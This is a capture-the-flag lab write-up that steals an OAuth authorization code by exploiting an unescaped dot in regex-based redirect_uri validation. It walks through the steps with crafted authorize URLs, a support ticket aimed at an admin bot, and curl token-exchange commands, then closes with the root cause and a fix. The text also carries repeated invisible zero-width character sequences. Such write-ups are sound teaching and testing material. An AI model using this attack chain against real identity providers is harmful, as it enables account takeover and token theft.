← Back to Writeups
CUSTOMMediumWeb

Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_exploitation#oauth_authorization_code_theft#redirect_uri_validation_bypass#regex_dot_bypass#token_exchange#linux

Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: admin_bot_exploitation, oauth_authorization_code_theft, redirect_uri_validation_bypass, regex_dot_bypass, token_exchange

Summary

Task: OAuth 2.0 SSO platform with regex-based redirect_uri validation where dot is unescaped, admin bot visits support ticket URLs. Solution: Bypass redirect_uri regex by replacing dot with dash, capture admin's authorization code via callback tester, exchange for access token to retrieve flag from userinfo endpoint.

Lab 35 — GateKeeper SSO — Open Redirect via Regex URI Validation — Hackadvisor

Description

GateKeeper SSO is an identity provider platform used by organizations to manage authentication across their internal applications. The platform provides OAuth 2.0 and OpenID Connect flows, allowing connected applications to authenticate users through a centralized login system. You have been given a test account to audit the platform's security. Your objective is to find a vulnerability in the OAuth 2.0 implementation that could allow you to compromise the admin account and retrieve the flag. The platform includes a support ticket system where administrators review submitted URLs. An admin bot periodically visits links submitted through support tickets while logged in with administrative privileges. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Given credentials: user@test.com / password123

Target: OAuth 2.0 / OpenID Connect SSO platform with regex-based redirect URI validation. The flag is stored in the admin user's profile, accessible via the /api/userinfo endpoint with admin privileges.

Analysis

  1. Application Structure:

    • Dashboard with navigation to: Applications, Support Tickets, Callback Tester (Tools), Settings
    • OpenID Configuration at /.well-known/openid-configuration revealing endpoints: /oauth/authorize, /oauth/token, /api/userinfo
    • Support Tickets system where submitted URLs are visited by an admin bot (authenticated as admin)
    • Callback Tester tool that generates endpoints at /apps/<identifier>/callback to capture incoming query parameters ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Registered OAuth Application — AcmeCorp Portal:

    • Client ID: portal-acme-prod
    • Client Secret: sec_7f3a9b21c8e04d5fa6b1e2c3d4f5a6b7 (visible on app details page)
    • Registered redirect URI: http://localhost:8080/apps/portal.acmecorp/callback
    • App details page noted: validates redirect_uri using pattern matching (regex)
  3. Regex Bypass — Unescaped Dot:

    • The registered redirect URI contains portal.acmecorp where the . (dot) is a regex metacharacter
    • In regex, . matches any single character, not just a literal dot
    • This means portal-acmecorp, portal_acmecorp, portalXacmecorp, etc. all pass validation
    • Tested: redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback → 302 redirect (accepted)
    • Tested: completely different host/path → 400 Bad Request (rejected, regex is anchored) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  4. Attack Chain:

    • Create a callback capture endpoint matching the regex-bypassed URI
    • Craft an OAuth authorize URL with the attacker-controlled redirect_uri
    • Submit the URL via support ticket so the admin bot visits it
    • Admin bot authenticates → auto-approves → redirected to attacker's callback with authorization code
    • Exchange the stolen code for an access token → access admin's userinfo

Solution

Step 1: Set Up Callback Capture Endpoint

Used the built-in Callback Tester tool to create an endpoint with identifier portal-acmecorp (dash instead of dot): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

POST /tools/callback-tester/generate
custom_token=portal-acmecorp

This created /apps/portal-acmecorp/callback — an unauthenticated endpoint that captures all incoming query parameters and displays them in the tester dashboard.

Step 2: Verify Regex Bypass

Confirmed the redirect_uri with dash passes validation:

GET /oauth/authorize?response_type=code&client_id=portal-acme-prod&redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback&scope=openid

Result: 302 redirect to the callback URL (regex . matched -). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Submit Malicious OAuth URL via Support Ticket

Submitted a support ticket containing the crafted OAuth authorize URL for the admin bot to visit:

POST /support/tickets/new
subject=OAuth redirect issue
category=bug_report
description=Please check this URL
url=http://localhost:8080/oauth/authorize?response_type=code&client_id=portal-acme-prod&redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback&scope=openid%20profile%20email

The admin bot (running on the same server, so localhost:8080 resolves correctly) visited the URL while authenticated as admin. The OAuth flow auto-approved without a consent screen and redirected to the attacker-controlled callback. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Capture Admin's Authorization Code

Checked the Callback Tester dashboard and found the captured authorization code:

#2 | {"code": "pyjtaIV1zfp7ud5LxGeQOiCLlIf6hGHdya2vXiVTNzo"} | Source: 127.0.0.1

Step 5: Exchange Code for Access Token

bash
curl -X POST http://localhost:8080/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=pyjtaIV1zfp7ud5LxGeQOiCLlIf6hGHdya2vXiVTNzo" \
  -d "redirect_uri=http://localhost:8080/apps/portal-acmecorp/callback" \
  -d "client_id=portal-acme-prod" \
  -d "client_secret=sec_7f3a9b21c8e04d5fa6b1e2c3d4f5a6b7"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "access_token": "eyJhbGciOiJIUzI1NiIs...",
  "expires_in": 3600,
  "scope": "openid profile email",
  "token_type": "Bearer"
}

JWT payload confirmed admin access: {"sub":"1","email":"admin@gatekeeper-id.com","role":"admin"}

Step 6: Retrieve Flag from Admin Userinfo

bash
curl /api/userinfo -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."

Response:

json
{
  "admin_note": "GateKeeper administrative account",
  "email": "admin@gatekeeper-id.com",
  "email_verified": true,
  "flag": "FLAG{REDACTED}",
  "name": "Sarah Whitfield",
  "role": "admin",
  "sub": "1"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Root Cause

The redirect URI validation used regex pattern matching where the . (dot) character in the registered URI portal.acmecorp was not escaped as \.. In regex, . matches any single character, so an attacker could register a callback endpoint with a different but regex-compatible name (e.g., portal-acmecorp) and use it as a valid redirect_uri. Combined with the admin bot visiting user-submitted URLs while authenticated, this enabled a full OAuth authorization code theft attack chain. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The proper fix is to either:

  1. Escape regex metacharacters in registered redirect URIs (use portal\.acmecorp)
  2. Use exact string matching instead of regex for redirect_uri validation (RFC 6749 Section 3.1.2.3 recommends exact match) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍